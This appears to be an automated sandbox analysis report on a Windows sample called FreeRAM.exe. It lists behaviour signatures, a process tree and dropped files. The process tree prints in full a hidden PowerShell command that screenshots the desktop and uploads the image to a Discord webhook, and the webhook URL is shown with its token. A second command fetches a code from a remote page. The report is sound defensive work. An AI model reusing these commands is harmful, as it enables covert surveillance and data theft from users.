Analysis
- user interaction
yes - max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
17/07/2026, 01:05
General
- Target FreeRAM.exe
- Size 12.0MB
- Sample260717-bfqd5acv3x
- SHA256 6e204b356119837ab4e2c79d1dbaa77f8b3a951c5c6c5afc9d9ab4787395f209
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Drops startup file 1 IoCs
- Loads dropped DLL 34 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Delays execution with timeout.exe 1 IoCs
- Kills process with taskkill 3 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\FreeRAM.exe"C:\Users\Admin\AppData\Local\Temp\FreeRAM.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\FreeRAM.exe"C:\Users\Admin\AppData\Local\Temp\FreeRAM.exe"2⤵
- Drops startup file
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "START"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "start"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "killall"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $file='C:\Users\Public\screenshot.png'; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp=New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $gfx=[System.Drawing.Graphics]::FromImage($bmp); $gfx.CopyFromScreen(0,0,0,0,$screen.Size); $bmp.Save($file, [System.Drawing.Imaging.ImageFormat]::Png); $bmp.Dispose(); $gfx.Dispose(); $wc=New-Object System.Net.WebClient; $wc.UploadFile('https://discord.com/api/webhooks/1526731867661799424/ZhWueVCOna_4WDt6lkpn906f8A4B4k1unavi-9tL9ChY8wt0XL0LCpHU828TGnfP3eYj', 'POST', $file); Remove-Item $file -Force -ErrorAction SilentlyContinue""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $file='C:\Users\Public\screenshot.png'; $screen=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp=New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; $gfx=[System.Drawing.Graphics]::FromImage($bmp); $gfx.CopyFromScreen(0,0,0,0,$screen.Size); $bmp.Save($file, [System.Drawing.Imaging.ImageFormat]::Png); $bmp.Dispose(); $gfx.Dispose(); $wc=New-Object System.Net.WebClient; $wc.UploadFile('https://discord.com/api/webhooks/1526731867661799424/ZhWueVCOna_4WDt6lkpn906f8A4B4k1unavi-9tL9ChY8wt0XL0LCpHU828TGnfP3eYj', 'POST', $file); Remove-Item $file -Force -ErrorAction SilentlyContinue"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\uninstall.bat" "1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "try { $html = (Invoke-WebRequest -Uri 'https://vitaincitta2k26.neocities.org/unistall' -UseBasicParsing).Content; if ($html -match '(?i)<div[^>]*>\s*([A-Z0-9]{16})\s*</div>') { [System.IO.File]::WriteAllText('temp_code.txt', $Matches[1].ToUpper()) } else { [System.IO.File]::WriteAllText('temp_code.txt', 'NOT_FOUND') } } catch { [System.IO.File]::WriteAllText('temp_code.txt', 'ERROR') }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im PCControl1.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im pc_control.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im bryanchatv2.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\timeout.exetimeout /t 22⤵
- Delays execution with timeout.exe
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_asyncio.pyd
_bz2.pyd
_ctypes.pyd
_hashlib.pyd
_lzma.pyd
_overlapped.pyd
_socket.pyd
_ssl.pyd
_uuid.pyd
_wmi.pyd
_http_parser.cp313-win_amd64.pyd
_http_writer.cp313-win_amd64.pyd
mask.cp313-win_amd64.pyd
reader_c.cp313-win_amd64.pyd
_audioop.pyd
base_library.zip
_frozenlist.cp313-win_amd64.pyd
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
_multidict.cp313-win_amd64.pyd
_helpers_c.cp313-win_amd64.pyd
python3.DLL
python313.dll
pywintypes313.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
win32api.pyd
_quoting_c.cp313-win_amd64.pyd
memory/2792-151-0x0000021FA3E20000-0x0000021FA3E42000-memory.dmp
memory/2792-156-0x0000021FA4430000-0x0000021FA45FA000-memory.dmp